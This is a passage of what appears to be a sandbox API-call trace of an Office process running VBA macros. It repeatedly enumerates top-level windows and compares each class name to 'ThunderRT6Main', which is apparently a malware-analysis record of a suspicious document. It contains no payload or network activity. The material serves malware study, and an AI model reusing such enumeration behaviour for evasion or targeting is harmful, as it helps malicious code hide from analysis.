nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0096.811] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0096.811] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0096.811] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0096.811] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0096.811] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0096.811] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0096.811] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0096.811] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0096.811] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0096.811] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0096.811] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0096.811] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0096.811] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0096.811] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0096.811] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0096.812] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0096.812] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0096.812] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0096.812] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0096.812] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0096.812] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0096.812] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0096.812] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.812] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0096.812] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0096.812] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.812] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0096.812] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0096.812] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0096.812] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0096.812] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0096.812] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.812] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0096.812] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0096.812] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0096.812] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0096.812] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0096.812] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0096.812] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0096.812] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.812] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0096.812] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.812] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0096.812] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0096.812] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.812] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0096.812] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.812] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.812] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0096.812] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.812] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.813] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0096.813] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.813] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0096.813] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0096.813] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0096.813] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.813] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0096.813] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.813] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.813] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0096.813] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.813] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0096.813] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0096.813] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.813] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0096.813] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0096.813] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0096.813] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0096.813] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0096.813] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.813] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0096.813] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.813] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0096.813] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.813] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0096.813] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0096.813] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0096.813] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0096.813] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.813] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0096.813] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.813] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.813] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0096.814] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0096.814] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.814] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.814] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0096.814] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.814] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.814] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0096.814] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.814] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.814] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0096.814] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0096.814] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.814] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0096.814] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0096.814] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0096.814] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0096.814] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0096.814] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0096.814] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0096.814] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0096.814] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0096.814] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0096.814] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0096.814] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0096.814] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.814] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0096.814] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0096.814] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.814] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0096.814] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0096.814] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0096.814] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.814] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0096.814] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.815] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0096.815] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0096.815] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0096.815] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0096.815] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0096.815] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0096.815] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0096.815] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0096.815] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0096.815] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0096.815] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0096.815] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0096.815] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0096.815] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0096.815] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0096.815] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0096.815] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.815] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0096.815] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x6114550 [0096.815] IMalloc:Free (This=0x7fefe465380, pv=0x6114550) [0096.884] strncpy_s (in: _Dst=0x61116d0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0096.884] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0096.884] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0096.884] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0096.884] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0096.884] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0096.884] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0096.884] IUnknown:Release (This=0x679bb90) returned 0x15 [0096.884] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0096.884] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0096.884] IUnknown:Release (This=0x5a48630) returned 0x12 [0096.884] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0096.885] IUnknown:AddRef (This=0x679c130) returned 0x9 [0096.885] IUnknown:Release (This=0x679c130) returned 0x8 [0096.885] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0096.885] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0096.885] IUnknown:Release (This=0x679c6d0) returned 0x6 [0099.928] GetCurrentThreadId () returned 0xa30 [0099.928] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0099.928] GetDesktopWindow () returned 0x10010 [0099.928] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0099.928] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0099.928] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0099.928] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.928] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0099.928] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.928] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.928] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.928] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0099.928] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.928] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0099.929] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0099.929] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0099.929] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0099.929] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0099.929] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0099.929] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0099.929] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0099.929] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0099.929] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0099.929] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.929] lstrcmpA (lpString1="IME", 